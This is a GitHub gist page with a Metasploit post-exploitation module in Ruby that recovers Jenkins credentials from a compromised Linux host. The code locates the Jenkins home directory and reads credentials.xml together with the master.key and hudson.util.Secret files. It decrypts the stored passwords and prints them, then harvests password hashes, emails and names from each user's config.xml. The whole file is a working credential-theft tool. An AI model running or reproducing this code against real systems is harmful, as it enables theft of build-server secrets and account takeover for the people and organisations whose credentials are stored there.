Skip to content

Instantly share code, notes, and snippets.

@xpn
Created October 15, 2017 15:27
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save xpn/94d854afa53e8c5ceb527fbc9b276ab3 to your computer and use it in GitHub Desktop.
Save xpn/94d854afa53e8c5ceb527fbc9b276ab3 to your computer and use it in GitHub Desktop.
Recover jenkins credentials in meterpreter
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'nokogiri'
require 'digest'
require 'openssl'
require 'base64'
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Linux::System
def initialize(info = {})
super(update_info(info,
'Name' => 'Recover Jenkins credentials',
'Description' => '
Recover Jenkins credentials via decrypting credentials.xml, or parsing for new style hashes in user config.xml
',
'License' => MSF_LICENSE,
'Author' =>
[
'xpn <xpnsec@protonmail.com>'
],
'Platform' => ['linux'],
'SessionTypes' => %w[shell meterpreter]))
end
def run
u = get_users
distro = get_sysinfo
h = get_host
print_status("Running module against #{h}")
print_status('Info:')
print_status("\t#{distro[:version]}")
print_status("\t#{distro[:kernel]}")
print_status('Finding Jenkins home...')
jenkins = find_jenkins_user(u)
if jenkins.nil?
print_status('Could not find Jenkins user, is jenkins installed?')
return
end
print_status("jenkins user found with home path of #{jenkins[:dir]}")
get_credentials(jenkins)
end
def find_jenkins_user(users)
for user in users
return user if user[:name] == 'jenkins'
end
nil
end
def get_credentials(jenkins)
credentials_path = jenkins[:dir] + '/credentials.xml'
if file?(credentials_path)
# We should attempt to parse the old style Jenkins creds file
print_status('Found credentials.xml file, parsing')
credentials = read_file(jenkins[:dir] + '/credentials.xml')
doc = Nokogiri::XML(credentials)
@master_key = read_file(jenkins[:dir] + '/secrets/master.key')
@hudson_secret_key = read_file(jenkins[:dir] + '/secrets/hudson.util.Secret')
doc.xpath('//com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl').each do |user|
uuid = user.at_xpath('id').content
username = user.at_xpath('username').content
password = user.at_xpath('password').content
password = decrypt_password(password)
print_good("#{uuid} | #{username} | #{password}")
end
end
print_status('Parsing user directories for passwords')
users = cmd_exec("find #{jenkins[:dir]}/users/ -name 'config.xml' 2>/dev/null")
users.each_line do |line|
user_config = read_file(line.chomp)
hash = user_config.match(/passwordHash>(.*?)<\/passwordHash/)[1]
email = user_config.match(/emailAddress>(.*?)<\/emailAddress/)[1]
full_name = user_config.match(/fullName>(.*?)<\/fullName/)[1]
print_good("#{full_name} | #{email} | #{hash}")
end
end
def decrypt_password(pass)
magic = '::::MAGIC::::'
hudson_master_key = Digest::SHA256.digest(@master_key)[0..16]
aes = OpenSSL::Cipher.new('AES-128-ECB')
aes.decrypt
aes.key = hudson_master_key
x = aes.update(@hudson_secret_key) + aes.final
k = x[0..-16]
k = k[0..16]
password = Base64.decode64(pass)
aes = OpenSSL::Cipher.new('AES-128-ECB')
aes.decrypt
aes.key = k
password = aes.update(password) + aes.final
password.match(/(.*)#{Regexp.quote(magic)}/)[1]
end
def get_host
case session.type
when /meterpreter/
host = sysinfo['Computer']
when /shell/
host = cmd_exec('hostname').chomp
end
host
end
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment